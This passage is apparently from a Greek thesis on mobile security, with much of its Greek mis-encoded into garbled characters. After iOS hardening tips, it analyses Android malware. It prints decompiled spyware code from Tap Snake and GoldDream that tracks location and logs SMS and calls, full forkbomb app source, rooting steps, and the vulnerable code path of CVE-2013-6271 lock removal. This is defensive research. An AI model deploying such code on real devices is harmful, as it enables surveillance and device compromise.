πξέπεη λα έρνπλ πάληα ελεξγνπνηεκέλν password ηνπιάρηζηνλ 6 ςεθίσλ ζε κήθνο. Απηφ έρεη 

σο απνηέιεζκα ηελ ελίζρπζε ηεο αζθάιεηαο, φζνλ αθνξά ζηνηρεία πνπ βξίζθνληαη 

απνζεθεπκέλα ζην ζχζηεκα αξρείσλ θαη ην keychain ηεο ζπζθεπήο, θαζψο επίζεο θάλεη 

πνιχ πην δχζθνιεο ηηο επηζέζεηο brute-force ελάληηα ζηνλ θσδηθφ ηεο ζπζθεπήο.  

Άιιεο πηζαλέο επηινγέο γηα ηελ θαηαπνιέκεζε θπζηθψλ επηζέζεσλ ζηελ ζπζθεπή 

πεξηιακβάλνπλ ηελ εγθαηάζηαζε ινγηζκηθνχ πνπ κπνξεί λα εληνπίζεη απνκαθξπζκέλα ηελ 

ηνπνζεζία κηαο ζπζθεπήο ή λα ζβήζεη, απνκαθξπζκέλα, επαίζζεηα δεδνκέλα. 
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ΠΔΡΗΛΖΦΖ 

 

ηε ζπλέρεηα παξαζέηνπκε ζπγθεληξσηηθά θάπνηα βαζηθά δεηήκαηα πνπ παξνπζηάζζεθαλ ζε 

ζρέζε κε ηελ ηξσηφηεηα ησλ ζπζθεπψλ, κε ιεηηνπξγηθφ iOS, θαζψο επίζεο ηα κέηξα 

πξνζηαζίαο θαη ηνπο θαλφλεο ρξήζεο ησλ ζπζθεπψλ γηα ηελ ελίζρπζε ηεο αζθάιεηα ηνπο ζην 

κέγηζην δπλαηφ.  

 

• Υξεηάδεηαη αμηνιφγεζε ηνπ ζθνπνχ ηεο ζπζθεπήο θαη ησλ δεδνκέλσλ πνπ απνζεθεχνληαη 

ζε απηήλ θαη αλάινγε πξνζαξκνγή ηεο ζπκπεξηθνξάο θαη ησλ ξπζκίζεσλ ηεο ζπζθεπήο κε 

ην ζθνπφ θαη ηα δεδνκέλα. Γηα παξάδεηγκα, ρξήζε κηαο μερσξηζηήο ζπζθεπήο γηα ηηο 

επαίζζεηεο επηρεηξεκαηηθέο επηθνηλσλίεο θαη δξαζηεξηφηεηεο, θαη ξχζκηζε ηε ζπζθεπήο 

απηήο πνιχ πην ζπληεξεηηθά απφ φ, ηη ζε κηα ζπλήζε πξνζσπηθή ζπζθεπή ςπραγσγίαο. 

 

• Δλεξγνπνίεζε ηνπ θιεηδψκαηνο ηεο ζπζθεπήο. Δπηζεκαίλεηαη φκσο φηη ζηηο νζφλεο αθήο 

παξακέλνπλ απνθαιππηηθνί ιεθέδεο πνπ κπνξεί εχθνια λα δεη θάπνηνο πνπ πξνζπαζεί λα 

μεθιεηδψζεη ηε ζπζθεπή θαη γηα απηφ πξέπεη λα ππάξρεη πξνζνρή. Υξεηάδεηαη ζπρλφο 

θαζαξηζκφο ηεο νζφλεο κε ηξφπν πνπ ζα ζβήζεη ηα ίρλε θαζψο επίζεο θαη 

επαλαιακβαλφκελα ςεθία ζην PIN ηνπ μεθιεηδψκαηνο γηα ηε κείσζε ησλ δηαξξνψλ 

πιεξνθνξηψλ απφ απνηππψκαηα.  

 

• Ζ θπζηθή πξφζβαζε παξακέλεη ν θνξέαο επίζεζεο κε ηε κεγαιχηεξε πηζαλφηεηα επηηπρίαο. 

Ο θπζηθφο έιεγρνο ηεο ζπζθεπήο θαη ε πξνζηαζία απφ θινπή ή παξακέιεζε πξέπεη λα είλαη 

αδηάιεηπηνο. Γηα θάζε ελδερφκελν φκσο ζα πξέπεη λα είλαη ελεξγή ε ιεηηνπξγία δηαγξαθήο 

ησλ δεδνκέλσλ ηεο ζπζθεπήο, αλ απαηηεζεί, κέζσ απνκαθξπζκέλνπ ειέγρνπ. 

 

• Σν ινγηζκηθφ ηεο ζπζθεπήο πξέπεη λα δηαηεξείηαη ζπλερψο ελεκεξσκέλν κε ηελ ηειεπηαία 

ηνπ έθδνζε. ηελ ηδαληθή πεξίπησζε, πξέπεη λα γίλεηαη ελεκέξσζε over-the-air ηνπ iOS 

ακέζσο κφιηο θάηη λέν θαηαζηεί δηαζέζηκν.  (Ζ ππνζηήξημε ηεο over-the-air ελεκέξσζεο 

εηζήρζε κε iOS 5.0.1). επίζεο θαη νη δηάθνξεο εθαξκνγέο πξέπεη λα ελεκεξψλνληαη ηαθηηθά. 

 

• Γελ πξνρσξνχκε ζε δηαδηθαζία jailbreak (root) ηεο ζπζθεπήο παξά κφλν εάλ απηή 

ρξεζηκνπνηείηαη απνθιεηζηηθά γηα ςπραγσγία (ή θαη έξεπλα). Σέηνηνπ είδνπο πξνλνκηαθή 

πξφζβαζε παξαθάκπηεη ηα κέηξα αζθαιείαο πνπ εθαξκφδνληαη απφ ην ιεηηνπξγηθφ ζχζηεκα 

θαη απνηξέπεη ηελ ελεκέξσζε ηνπ ινγηζκηθνχ ή ηελ θαζηζηά πνιχ δχζθνιε, κε απνηέιεζκα 

λα κελ γίλεηαη ηαθηηθά. Πνιινί επηηηζέκελνη έρνπλ βάιεη ζην ζηφραζηξν ζπζθεπέο κε κε 

ελεκεξσκέλν ινγηζκηθφ ή ζπζθεπέο jailbroken.  

 

• Ρπζκίδνπκε ηε ζπζθεπή καο, πξηλ ηε ζχλδεζε ζε έλα λέν δίθηπν, ψζηε λα απεπζχλεη 

εξψηεκα ζην ρξήζηε θαη λα κελ ζπλδέεηαη απηφκαηα. Απηφ απνηξέπεη ηελ αθνχζηα ζχλδεζε 

κε θαθφβνπιν αζχξκαηα δίθηπα πνπ κπνξνχλ εχθνια λα παξαβηάζνπλ ηελ ζπζθεπή καο ζε 

πνιιαπιά επίπεδα. 

 

• Ζ επηινγή ησλ εθαξκνγψλ πνπ ζα θαηεβάζνπκε θαη ζα εγθαηαζηήζνπκε πξέπεη λα γίλεηαη 

κε κεγάιε πξνζνρή. Αλ θαη ε Apple επνπηεχεη ην App Store, έρνπλ ππάξμεη πεξηπηψζεηο 
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θαθφβνπισλ ή θαη επάισησλ εθαξκνγψλ πνπ δελ εληνπίζηεθαλ ζηνλ έιεγρν θαη βξέζεθαλ  

ζην App Store.  

• Ζ εγθαηάζηαζε ινγηζκηθνχ αζθαιείαο, φπσο ην Lookout ή ην McAfee Mobile Security 

είλαη ζεκαληηθή γηα ηελ αζθάιεηα ηεο ζπζθεπήο. Ζ ρξήζε ηνπ ινγηζκηθνχ αιιά θαη ησλ 

ππεξεζηψλ ηνπ mobile device management (MDM) ζπληζηάηαη, εηδηθά αλ πξφθεηηαη λα 

ρεηξίδεζηε επαίζζεηεο πιεξνθνξίεο. Σν MDM πξνζθέξεη δπλαηφηεηεο, φπσο είλαη ν 

πξνζδηνξηζκφο θαη ε επηβνιή ηεο πνιηηηθήο αζθάιεηαο, logging θαη alerting, απηφκαηεο over-

the–air ελεκεξψζεηο, anti-malware, backup/restore, tracking θαη δηαρείξηζε ηεο ζπζθεπήο, 

απνκαθξπζκέλν θιείδσκα θαη εθθαζάξηζε δεδνκέλσλ, απνκαθξπζκέλε δηάγλσζε θαη 

αληηκεηψπηζε πξνβιεκάησλ, θαη άιια.  

 

• Μηα θαιή ζθέςε είλαη λα αθήλεη θάπνηνο ην θηλεηφ ζπίηη, φηαλ ηαμηδεχεη ζε άιιεο ρψξεο ε 

πνιιά θξάηε νη ππεξεζίεο αζθαιείαο, (ή θαη άιινη), ρξεζηκνπνηνχλ ηερληθέο δηείζδπζεο ζηηο 

ζπζθεπέο κέζσ ησλ εγρψξησλ δηθηχσλ θάηη πνπ είλαη εμαηξεηηθά δχζθνιν λα αληηθξνπζηεί. Ζ 

αγνξά ελφο θζελνχ ηειεθψλνπ θαη ε ρξήζε κφλν γηα κε επαίζζεηε δξαζηεξηφηεηα πνπ ζα 

ζβεζηεί ζην ηέινο ζπληζηάηαη. Ζ ρξήζε ηεο ζπζθεπήο ζαο γηα ςπραγσγία θαη κφλν είλαη 

δπλαηή αλ έρεηε πξνθνξηψζεη ηαηλίεο, κνπζηθή θιπ θαη ε ζπζθεπή είλαη ζε ιεηηνπξγία 

πηήζεο κε απελεξγνπνηεκέλεο φιεο ηηο ζπλδέζεηο ζε δίθηπν. 
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5 Διαδικαςία Μελέτησ Κακόβουλων Εφαρμογών 
Σα πξνγξάκκαηα νπνία βνήζεζαλ ζηελ απνκεηαγιψηηηζε  ησλ θαθφβνπιψλ εθαξκνγψλ είλαη 

ειεχζεξα. 

Δγθαηαζηάζεθε ην Android Development Tools καδί κε ην Eclipse.Ο ιφγνο εγθαηάζηαζεο 

ηνπ ζπγθεθξηκέλνπ πξνγξάκκαηνο είλαη ην εηθνληθφ πεξηβάιινλ πνπ πξνζθέξεη θαη είλαη 

ηδαληθφ γηα ηελ αλάπηπμε εθαξκνγψλ, αιιά θαη γηα δνθηκή θαθφβνπισλ εθαξκνγψλ θαζψο 

πξνζθέξεη απφιπηα ειεγρφκελν πεξηβάιινλ .  

Έπεηηα ε δπζθνιία εχξεζεο κνιπζκέλσλ εθαξκνγψλ (ζα αλαθέξνληαη σο APK) μεπεξάζηεθε 

κέζσ ηνπ site contagio. Σν site απηφ πξνζθέξεηαη ζαλ κηα βάζε δεηγκάησλ ηέηνησλ 

εθαξκνγψλ γηα επηζηεκνληθή ρξήζε. Απφ εθεί βξέζεθαλ φια ηα κνιπζκέλα APK ηα νπνία 

ρξεζηκνπνηήζεθαλ ζηελ πινπνίεζε ησλ πεηξακάησλ.  

Γηα ηελ απνκεηαγιψηηηζε ρξεζηκνπνηήζεθαλ ηα APKinspector ,DroidBox,  androguard ,φια 

κέζσ κίαο έθδνζεο  Ubuntu Linux ,ηνπ “HoneyNet Project”. 

Σέινο ην θηλεηφ ζην νπνίν εγθαηαζηάζεθαλ ηα APK είλαη ην Sony Xperia x10 mini, κε 

ιεηηνπξγηθφ ζχζηεκα Android 2.1 update 1 éclair.  

 

 

 

 

 

 

 

 

 

 

5.1 Android Tap Snake  
 

Ζ εθαξκνγή Android Tap Snake είλαη απ ηηο εθαξκνγέο νη νπνίεο έρνπλ δηπιή ιεηηνπξγία. 

ηελ ζπγθεθξηκέλε, ε πξψηε ιεηηνπξγία  είλαη σο έλα απιφ θηδάθη γηα ην θηλεηφ ηειέθσλν. 

Ζ δεχηεξε είλαη έλαο client γηα ηελ εθαξκνγή GPS Spy. 

Έλαο ππνςηαζκέλνο ρξήζηεο αληηιακβάλεηαη ακέζσο πσο ε εθαξκνγή είλαη χπνπηε απφ ηα 

δηθαηψκαηα πνπ δεηά γηα λα εγθαηαζηαζεί: 

 android.permission.ACCESS_COARSE_LOCATION 

 android.permission.ACCESS_FINE_LOCATION 

 android.permission.INTERNET 

 android.permission.WAKE_LOC 

 android.permission.RECEIVE_BOOT_COMPLETED 

Δίλαη πξνθαλέο ινηπφλ πσο , γηα έλα απιφ θηδάθη, ε παξαρψξεζε απηψλ 

ησλ δηθαησκάησλ είλαη ηνπιάρηζηνλ ππεξβνιηθή. Παξφια απηά αθφκα θαη 

εάλ θάπνηνο ην εγθαηαζηήζεη ην πξφγξακκα αληηιακβάλεηαη φηη θάηη δελ 

Εηθόλα 55 Σν Honeynet Project ζε ιεηηνπξγία 

Εηθόλα 56 H εθαξκνγή 

Tap Snake 
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πάεη θαιά. Σν Tap Snake δελ έρεη θνπκπί εμφδνπ, ηξέρεη πάληα ζην 

πξνζθήλην θαη αλνίγεη μαλά κε ηελ εθθίλεζε ηνπ ηειεθψλνπ. Δπίζεο 

αλα 15 ιεπηά ζηέιλεη ζε έλαλ server ηελ ζέζε ηνπ. 

Παξαζέησ ηα παξαθάησ θνκκάηηα θψδηθα πνπ απέθηεζα κέζσ 

απνκεηαγιψηηηζεο ηνπ APK: 
public class LocationListener 
    implements android.location.LocationListener 
{ 
    public LocationListener(Handler handler1) 
    { 
        handler = handler1; 
    } 
    public void onLocationChanged(Location location) 
    { 
        Message message = new Message(); 
        message.obj = location; 
        boolean flag = handler.sendMessage(message); 
    } 
        s = settings.getProperty("email", null); 
        email = s; 
        s1 = settings.getProperty("code", null); 
        code = s1; 
        if(!started && email != null && code != null) 
        { 
            lastLocation.setAccuracy(10000F); 
            android.os.PowerManager.WakeLock wakelock = 
((PowerManager)getSystemService("power")).newWakeLock(1, "SnakeService"); 
            wl = wakelock; 
            (new _cls1()).start(); 

 
public class BootDetector extends BroadcastReceiver 
{ 

    public BootDetector() 
    { 
    } 
    public void onReceive(Context context, Intent intent) 
    { 
        Intent intent1 = new Intent(context, net/maxicom/android/snake/SnakeService); 
        android.content.ComponentName componentname = context.startService(intent1); 
    } 

} 

Σν πξφγξακκα γηα λα ιεηηνπξγήζεη πιήξσο πξέπεη λα εγθαηαζηαζεί ζε θηλεηφ πνχ έρεη θαη ην 

GPS SPY, πξφγξακκα ην νπνίν πσιείηαη γηα 5 δνιάξηα. Γελ απνηειεί δειαδή άκεζν θίλδπλν 

γηα ηνλ ρξήζηε, αιιά ηνπ δεκηνπξγεί πξφβιεκα θαζψο ηξέρεη ζπλερψο. 

 

 

 

 

5.2 GoldDream 
 

Σν GoldDream αθνινπζεί ηελ ίδηα ηαθηηθή κε άιια πξνγξάκκαηα (DroidKungFu Plankton 

θ.α.). Δηζάγεηαη ζε κηα εθαξκνγή θαη φηαλ ν ρξήζηεο ηελ θαηεβάζεη αξρίδεη λα 

παξαθνινπζεί ηα κελχκαηα θαη ηα ηειέθσλα πνπ γίλνληαη.  Ζ πξαθηηθή είλαη ζπλήζεο ,κε 

ηελ ρξήζε ελφο Receiver θαη ηελ απνζηνιή ησλ δεδνκέλσλ ζε έλαλ θεληξηθφ server.ηελ 

ζπγθεθξηκέλε πεξίπησζε ην GoldDream έρεη κνιχλεη ηελ εθαξκνγή BloodvsZombie. 

Δπίζεο κπνξεί λα δερζεί εληνιέο απφ ηνλ server θαη λα εθηειέζεη δηάθνξεο ιεηηνπξγίεο ρσξίο 

ηελ γλψζε ηνπ ρξήζηε, φπσο εγθαηάζηαζε/απεγθαηάζηαζε εθαξκνγψλ, απνζηνιή 

Εηθόλα 57 Εγθαηάζηαζε ηνπ 

Tap Snake 

Εηθόλα 58 ην ππόβαζξν 

ηξέρεη ην trojan ελώ ν 

ρξήζηεο δελ ην θαηαιαβαίλεη 
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κελπκάησλ θαη θιήζε ηειεθψλσλ. 

Σα δηθαηψκαηα πνπ δεηά είλαη θαη πάιη ην πξψην ζεκείν πξνεηδνπνίεζεο γηα κνιπζκέλε 

εθαξκνγή: 

 android.permission.INTERNET 

 android.permission.ACCESS_NETWORK_STATE 

 android.permission.READ_PHONE_STATE 

 android.permission.ACCESS_WIFI_STATE 

 android.permission.WRITE_EXTERNAL_STORAGE 

 android.permission.ACCESS_COARSE_LOCATION 

 android.permission.ACCESS_FINE_LOCATION 

 android.permission.RECEIVE_SMS 

 android.permission.SEND_SMS 

 android.permission.READ_SMS 

 android.permission.CALL_PHONE 

 android.permission.PROCESS_OUTGOING_CALLS 

 android.permission.DELETE_PACKAGES 

 android.permission.INSTALL_PACKAGES 

 android.permission.RECEIVE_BOOT_COMPLETED 

 

Ο ρξήζηεο πξέπεη λα είλαη ηδηαίηεξα πξνζεθηηθφο φηαλ εγθαζηζηά 

κηα εθαξκνγή, θπξίσο ζηελ επηηήξεζε ησλ δηθαησκάησλ πνπ 

δεηνχληαη. ηαλ παξαρσξεζνχλ ηα δηθαηψκαηα ην ιεηηνπξγηθφ δελ 

δεηά ηελ άδεηα ηνπ ρξήζηε πάλσ ζε απηά. 

Μέζσ ηεο εθαξκνγήο ην GoldDream ηξέρεη ζην παξαζθήλην θαη 

δεκηνπξγεί ηνπο Receivers ηνπ. Παξφια απηά ν ρξήζηεο δελ 

αληηιακβάλεηαη ηηο ελέξγεηεο απηέο, θαζψο ε εθαξκνγή θαίλεηαη 

λα ιεηηνπξγεί θαλνληθά. 

 

ηνλ θψδηθα πνπ αθνινπζεί θαίλεηαη ε ζπιινγή κελπκάησλ θαη 

θιήζεσλ: 

 
   

if(intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) 
        { 
            Bundle bundle = intent.getExtras(); 
            if(bundle == null) 
                continue; /* Loop/switch isn't completed */ 
            Object aobj[] = (Object[])bundle.get("pdus"); 
            SmsMessage asmsmessage[] = new SmsMessage[aobj.length]; 
            int i = 0; 
            do 
            { 
                int j = aobj.length; 
                if(i >= j) 
                    continue; /* Loop/switch isn't completed */ 
                SmsMessage smsmessage = SmsMessage.createFromPdu((byte[])aobj[i]); 
                asmsmessage[i] = smsmessage; 
                String s = asmsmessage[i].getOriginatingAddress(); 
                sms_code = s; 
                String s1 = asmsmessage[i].getDisplayMessageBody(); 

Εηθόλα 59 Σα δηθαηώκαηα 

ηνπ GoldDream 
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                sms_body = s1; 
                long l = asmsmessage[i].getTimestampMillis(); 
                Date date = new Date(l); 
                String s2 = (new SimpleDateFormat("yyyy-MM-dd HH:mm:ss")).format(date); 
                sms_time = s2; 
                String s3 = String.valueOf(sms_code); 
                StringBuilder stringbuilder = (new StringBuilder(s3)).append("#"); 
                String s4 = sms_body; 
                StringBuilder stringbuilder1 = stringbuilder.append(s4).append("#"); 
                String s5 = sms_time; 
                String s6 = stringbuilder1.append(s5).toString(); 
                WriteRec(context, "zjsms.txt", s6); 
                i++; 
            } while(true); 
        } 
        if(intent.getAction().equals("android.intent.action.NEW_OUTGOING_CALL")) 
        { 
            incomingFlag = Boolean.valueOf(false); 
            String s7 = intent.getStringExtra("android.intent.extra.PHONE_NUMBER"); 
            outcall_phoneNumber = s7; 
            String s8 = getSystemTime(); 
            StringBuilder stringbuilder2 = new StringBuilder("OUT#"); 
            String s9 = outcall_phoneNumber; 
            String s10 = stringbuilder2.append(s9).append("#").append(s8).toString(); 
            WriteRec(context, "zjphonecall.txt", s10); 
        } else 
        { 
            switch(((TelephonyManager)context.getSystemService("phone")).getCallState()) 
            { 
            default: 
                break; 
 
 

5.3 Rooting Samsung Galaxy note 2 
 

Δίλαη πνιηηηθή ηεο Samsung ηνλ ηειεπηαίν θαηξφ λα θιεηδψλεη ηηο «Δπηινγέο 

Πξνγξακκαηηζηή» απφ ηηο ξπζκίζεηο, κε απνηέιεζκα λα κελ είλαη εμαξρήο δπλαηή ε επηινγή 

«Δληνπηζκφο ζθαικάησλ USB».Γηα λα ελεξγνπνηήζνπκε ηελ επηινγή ζηηο ξπζκίζεηο πξέπεη 

λα πάκε ζηηο πιεξνθνξίεο ζπζθεπήο θαη επηιέγνπκε επηά θνξέο ηνλ αξηζκφ Καηαζθεπήο. 

Αθνχ ελεξγνπνηήζνπκε ηηο επηινγέο Πξνγξακκαηηζηή θαη ηνλ εληνπηζκφ ζθαικάησλ USB 

,κπνξνχκε λα πξνρσξήζνπκε.  

Εηθόλα 60 Από αξηζηεξά πξνο δεμηά ηα βήκαηα γηα λα μεθιεηδώζνπλ νη Επηινγέο Πξνγξακκαηηζηή 
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Σν πξφγξακκα κε ην νπνίν ζα πεηχρνπκε ην root ηεο ζπζθεπήο είλαη ην Odin3. Αθνχ ινηπφλ 

πεξάζνπκε ηνπο νδεγνχο (drivers) θαη εθθηλήζνπκε ην Odin3 κε δηθαηψκαηα δηαρεηξηζηή, 

θιείλνπκε ηε ζπζθεπή.  

Σν επφκελν βήκα είλαη λα αλνίμνπκε ηελ ζπζθεπή ζε ιεηηνπξγία Download.Απηφ γίλεηαη 

παηψληαο ηαπηφρξνλα ην θεληξηθφ θνπκπί, ην θνπκπί κείσζεο έληαζεο θαη ην θνπκπί 

εθθίλεζεο.

 
Εηθόλα 61 Σα ηξία θνπκπηά πνπ ρξεηάδεηαη λα παηεζνύλ ζηελ εθθίλεζε ηνπ Galaxy Note 2  γηα λα κπεί ζε ιεηηνπξγία 

download 

 

Έπεηηα ζπλδένπκε ην θηλεηφ  ζε κία ζχξα USB , επηιέγνπκε ην αξρείν ην νπνίν έρνπκε 

θαηεβάζεη γηα ην exploit (ζηε ζπγθεθξηκέλε πεξίπησζε ην  CF-AutoRoot) θαη θάλνπκε 

εθθίλεζε ηεο δηαδηθαζίαο. 

 

 

 

Εηθόλα 62 Σν Odin3 ζε ιεηηνπξγία 
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Με ην πέξαο ηεο δηαδηθαζίαο ε ζπζθεπή έρεη γίλεη rooted θαη 

ην SuperSu εκθαλίδεηαη ζηα πξνγξάκκαηα.  

 
 

 

 

 

 

 

 

 

 

 

 

 

5.4 Επίθεςη Forkbomb 
 

Σν ForkBomb είλαη έλα πξφγξακκα κε ζθνπφ ηελ ππεξρείιηζε κλήκεο. Γεκηνπξγεί κηα 

δηεξγαζία θαη ηελ αληηγξάθεη κέρξη ε κλήκε λα γεκίζεη, κε απνηέιεζκα λα θνιιήζεη ην 

ιεηηνπξγηθφ ζε θιάζκαηα δεπηεξνιέπηνπ. ηελ ζπγθεθξηκέλε πεξίπησζε ην apk δελ μεθηλά 

κε ηελ εθθίλεζε ηνπ ιεηηνπξγηθνχ, θάηη ην νπνίν ζα θαζηζηνχζε ηελ ζπζθεπή άρξεζηε 

πηζαλφηαηα. Γελ δεηά θαλέλα δηθαίσκα. 

Αθνχ εγθαηαζηήζακε ηελ εθαξκνγή ζην θηλεηφ κέζσ ηεο 

θάξηαο sd θαη ηξέμακε ην πξφγξακκα ε ζπζθεπή δελ 

αληαπνθξηλφηαλ θαη ν κφλνο ηξφπνο γηα λα ηελ επαλαθέξνπκε 

ήηαλ ε αθαίξεζε ηεο κπαηαξίαο. 

Σν πξφγξακκα απηφ δελ έρεη ζαλ ζθνπφ  ηελ ππνθινπή 

δεδνκέλσλ, είλαη φκσο πνιχ επηθίλδπλν εάλ απηνκαηνπνηεζεί 

θαη ιεηηνπξγεί θαηά ηελ εθθίλεζε. Μπνξεί λα δεκηνπξγήζεη 

πνιχ ζνβαξά πξνβιήκαηα ζηνλ ηειηθφ ρξήζηε θαη ζηελ ίδηα 

ηελ ζπζθεπή. 

Παξαζέησ παξαθάησ ηνλ θψδηθα ηεο εθαξκνγήο, 

ζρεδηαζκέλνο απφ ηνλ reyammer 

(https://github.com/reyammer/android-forkbomb) , πνπ 

απνδεηθλχεη ηελ επθνιία δεκηνπξγίαο κίαο ηέηνηαο 

εθαξκνγήο: 

 

 

 

 

 

 

 

Εηθόλα 63 Σν SuperSU ζε rooted 

Galaxy Note 2 

Εηθόλα 64 Εγθαηάζηαζε ηνπ forkbomb 

https://github.com/reyammer/android-forkbomb


82 
 

package com.example.forkbomb; 

 

import android.os.Bundle; 

import android.app.Activity; 

import android.util.Log; 

import android.view.View; 

import android.view.View.OnClickListener; 

import android.widget.Button; 

 

public class MainActivity extends Activity { 

 

 @Override 

 protected void onCreate(Bundle savedInstanceState) { 

  super.onCreate(savedInstanceState); 

  setContentView(R.layout.activity_main); 

 

  Button b1 = (Button) findViewById(R.id.button1); 

 

  b1.setOnClickListener(new OnClickListener() { 

   public void onClick(View v) { 

    Log.d("FORKBOMB", "forkbomb!"); 

    NativeLib.fb(); 

   } 

  }); 

 } 

} 
 

public class NativeLib { 

 

 static { 

  System.loadLibrary("forkbomb"); 

 } 

 

 public static native void fb(); 

 

} 

 

5.5 Επίθεςη Remove Device Locks CVE-2013-6271 
 

Ζ επίζεζε απηή ζηφρν έρεη λα αθαηξέζεη ην θιείδσκα ηνπ ηειεθψλνπ κε 

απνηέιεζκα λα κπνξεί λα ρεηξηζηεί δεδνκέλα ηνπ θηλεηνχ ν επηηηζέκελνο. 

Σν πξφγξακκα εθαξκφδεη έλα θελφ αζθαιείαο ηνπ Android απφ ηελ 

έθδνζε 4.0 έσο θαη  ηελ 4.3. Σν θελφ έγηλε γλσζηφ κέζσ ηεο εηαηξίαο 

Curesec ηνλ Ννέκβξε ηνπ 2013, εθφζνλ ην Android Security ζηάκαηεζε 

λα αληαπνθξίλεηαη γηα ην δήηεκα ζε κεηαμχ ηνπο ζπλνκηιία. 

Εηθόλα 65 Εγθαηάζηαζε 
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ηελ θιάζε  com.android.settings.ChooseLockGeneric 

βξέζεθε ην θελφ απηφ θαζψο επηηξέπεη ζηνλ ρξήζηε λα κεηαβάιεη 

ηνλ ηχπν κεραληζκνχ θιεηδψκαηνο ηεο ζπζθεπήο. Οη ηχπνη 

θιεηδψκαηνο πνπ κπνξνχλ λα κεηαβιεζνχλ είλαη αξθεηνί φπσο 

θσδηθφο, θσδηθφο pin, αθφκα θαη αλαγλψξηζε πξνζψπνπ.   
Καηά ηελ εγθαηάζηαζε δελ απαηηεί θάπνην δηθαίσκα θαη δελ ρξεηάδεηαη 

δηθαηψκαηα root. 

Ζ δηεπαθή είλαη απιή ζηελ ρξήζε θαη δίλεη ηελ δπλαηφηεηα λα 

πξνγξακκαηίζεηο ηελ εθαξκνγή λα  ιεηηνπξγήζεη κηα ζπγθεθξηκέλε ψξα 

ηεο εκέξαο, ψζηε λα κπνξεί ν επηηηζέκελνο λα ιάβεη ηα νθέιε ηεο 

ζπζθεπήο φηαλ ζα έρεη θπζηθή πξφζβαζε 

 
ην πξψην θνκκάηη ηνπ θψδηθα πνπ παξαηίζεηαη δίλεηαη ε δπλαηφηεηα 

ζηνλ ρξήζηε κέζσ ηεο θιάζεο λα ειέγμεη εάλ ν κεραληζκφο αζθαιείαο ζα 

ιεηηνπξγεί ή φρη. Μεηά δίλεηαη ε δπλαηφηεηα λα εηζάγνπκε ηελ ηηκή 

PASSWORD_QUALITY_UNSPECIFIED θαη λα μεθιεηδψζνπκε ηελ 

ζπζθεπή: 

 

 

 
    // Defaults to needing to confirm credentials 
            <span style="background-color: #21e901;">final boolean 
confirmCredentials = getActivity().getIntent()</span> 
                <span style="background-color: 
#21e901;">.getBooleanExtra(CONFIRM_CREDENTIALS, true);</span> 
            <span style="background-color: #21e901;">mPasswordConfirmed 
= !confirmCredentials;</span> 
 
            if (savedInstanceState != null) { 
                mPasswordConfirmed = 
savedInstanceState.getBoolean(PASSWORD_CONFIRMED); 
                mWaitingForConfirmation = 
savedInstanceState.getBoolean(WAITING_FOR_CONFIRMATION); 
                mFinishPending = 
savedInstanceState.getBoolean(FINISH_PENDING); 
            } 
 
            if (mPasswordConfirmed) { 
                <span style="background-color: 
#21e901;">updatePreferencesOrFinish</span>(); 
         } 
…... 
  private void updatePreferencesOrFinish() { 
            Intent intent = getActivity().getIntent(); 
            int quality = 
intent.getIntExtra(LockPatternUtils.PASSWORD_TYPE_KEY, -1); 
            if (quality == -1) { 
                // If caller didn't specify password quality, show UI 
and allow the user to choose. 
                quality = intent.getIntExtra(MINIMUM_QUALITY_KEY, -1); 
                MutableBoolean allowBiometric = new MutableBoolean(false); 
                quality = upgradeQuality(quality, allowBiometric); 
                final PreferenceScreen prefScreen = getPreferenceScreen(); 
                if (prefScreen != null) { 
                    prefScreen.removeAll(); 
                } 
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                addPreferencesFromResource(R.xml.security_settings_picker); 
                disableUnusablePreferences(quality, allowBiometric); 
            } else { 
                <span style="background-color: 
#21e901;">updateUnlockMethodAndFinish</span>(quality, false); 
            } 
        } 
 
…... 
 void updateUnlockMethodAndFinish(int quality, boolean disabled) { 
            // Sanity check. We should never get here without confirming 
user's existing password. 
            if (!mPasswordConfirmed) { 
                throw new IllegalStateException("Tried to update 
password without confirming it"); 
            } 
 
            final boolean isFallback = getActivity().getIntent() 
 
.getBooleanExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK, 
false); 
 
            quality = upgradeQuality(quality, null); 
 
            if (quality &gt;= 
DevicePolicyManager.PASSWORD_QUALITY_NUMERIC) { 
                int minLength = mDPM.getPasswordMinimumLength(null); 
                if (minLength &lt; MIN_PASSWORD_LENGTH) { 
                    minLength = MIN_PASSWORD_LENGTH; 
                } 
                final int maxLength = 
mDPM.getPasswordMaximumLength(quality); 
                Intent intent = new Intent().setClass(getActivity(), 
ChooseLockPassword.class); 
                intent.putExtra(LockPatternUtils.PASSWORD_TYPE_KEY, 
quality); 
                intent.putExtra(ChooseLockPassword.PASSWORD_MIN_KEY, 
minLength); 
                intent.putExtra(ChooseLockPassword.PASSWORD_MAX_KEY, 
maxLength); 
                intent.putExtra(CONFIRM_CREDENTIALS, false); 
 
intent.putExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK, 
                        isFallback); 
                if (isFallback) { 
                    startActivityForResult(intent, FALLBACK_REQUEST); 
                    return; 
                } else { 
                    mFinishPending = true; 
                    intent.addFlags(Intent.FLAG_ACTIVITY_FORWARD_RESULT); 
                    startActivity(intent); 
                } 
            } else if (quality == 
DevicePolicyManager.PASSWORD_QUALITY_SOMETHING) { 
                Intent intent = new Intent(getActivity(), 
ChooseLockPattern.class); 
                intent.putExtra("key_lock_method", "pattern"); 
                intent.putExtra(CONFIRM_CREDENTIALS, false); 
 
intent.putExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK, 
                        isFallback); 
                if (isFallback) { 
                    startActivityForResult(intent, FALLBACK_REQUEST); 
                    return; 
                } else { 
                    mFinishPending = true; 
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                    intent.addFlags(Intent.FLAG_ACTIVITY_FORWARD_RESULT); 
                    startActivity(intent); 
                } 
            else if (quality == 
DevicePolicyManager.PASSWORD_QUALITY_BIOMETRIC_WEAK) { 
                Intent intent = getBiometricSensorIntent(); 
                mFinishPending = true; 
                startActivity(intent); 
            } <span style="background-color: #ffff00;">else if (quality 
== DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED) {</span> 
                <span style="background-color: 
#ffff00;">mChooseLockSettingsHelper.utils().clearLock(false);</span> 
                <span style="background-color: 
#ffff00;">mChooseLockSettingsHelper.utils().setLockScreenDisabled(disabled);</span> 
                <span style="background-color: 
#ffff00;">getActivity().setResult(Activity.RESULT_OK);</span> 
                <span style="background-color: #ffff00;">finish();</span> 
            } else { 
                finish(); 
            } 
        } 

 

 

 

 

5.6 Επαναφέροντασ το κινητό τηλέφωνο ςε αςφαλή λειτουργία 
 

